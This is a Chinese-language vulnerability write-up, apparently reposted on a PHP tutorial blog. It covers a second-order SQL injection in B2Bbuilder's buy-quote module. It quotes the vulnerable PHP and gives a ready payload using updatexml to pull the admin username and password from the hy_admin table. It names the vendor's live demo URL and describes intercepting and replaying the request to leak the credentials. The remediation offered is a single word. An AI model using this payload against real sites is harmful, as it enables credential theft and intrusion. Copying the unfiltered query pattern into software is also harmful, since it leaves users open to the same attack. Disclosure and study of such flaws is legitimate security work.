B2Bbuilder最新版SQL注入(DEMO演示)

module/buy/detail.php存在如下代码:

<?php
include_once("$config[webroot]/module/buy/includes/buy_class.php");
//===================================================
//报价提交
if(!empty($_POST['ajax']))
{
$id=$_POST['id']*1;
if(empty($buid))
exit('uid');//未登录
if($id)
{
$db->query('select valid_time from '.BUY.' where id='.$id.' limit 1');
$valid_time=$db->fetchField('valid_time');
$num=(strtotime(date($valid_time))+24*60*60)-time();
if($num<0)
exit('timeout'); //报价结束
$db->query('select count(*) as num from '.BUY.' where id='.$id.' limit 1');
$num=$db->fetchField('num');
if(empty($num))
exit('nobuy'); //求购已经删除
$db->query('select count(*) as num from '.BUYQPRO.' where buy_id='.$id.' and seller_id='.$buid.' limit 1');
$num1=$db->fetchField('num');
if($num1)
exit('es'); //已经报价了
//----------------------
foreach($_POST['pname'] as $key=>$v)
{
$con[]=array($v,$_POST['number'][$key],$_POST['unit'][$key],$_POST['price'][$key],$_POST['bprice'][$key]);
}
$con=serialize($con);
$flag=$db->query("insert into  ".BUYQPRO."(buy_id,seller_id,con)  values('$id','$buid','$con')");
//--------------------插入消息提示
if($flag)
{
$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
$re=$db->fetchRow();
$userid=$re['userid'];
$title=$re['title'];//求购名称
$fromInfo=NULL;
$date=date("Y-m-d H:i");
$sql="insert into ".FEEDBACK."
  (touserid,sub,con,date,msgtype)
  VALUES
  ('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title

$res=$db->query($sql);
}
if($flag)
exit('ok');//报价成功
}
exit('error');//未知错误
}

可以看到:

$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title

('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title,没有过滤

于是我们在后台发布:

http://democn.b2b-builder.com/main.php?m=buy&s=admin_buy

title写入:' or updatexml(1,concat(1,(SELECT concat(user,0x23,password) FROM `hy_admin` limit 1)),1) or '

B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网插图

这里提交就写入了title

之后发现尼玛没有审核……不能够报价……

B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网插图1

然后随便找一个可以报价的:
 

B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网插图2

抓包并修改ID为自己的:
 

B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网插图3

然后不提交,扔到repeater(也可以直接forward然后抓返回包~)
 

B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网插图4

于是就得到账户密码了

解决方案:

过滤

    上一篇: 有货官方某接口设计不当可平行越权修改他人资料及订单等 - 网站安全 - 自学php网

    下一篇: 常见的网站攻击方式和防护方法(小白通俗篇) - 网站安全 - 自学php网
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《B2Bbuilder最新版SQL注入(DEMO演示) – 网站安全 – 自学php网
   

还没有人抢沙发呢~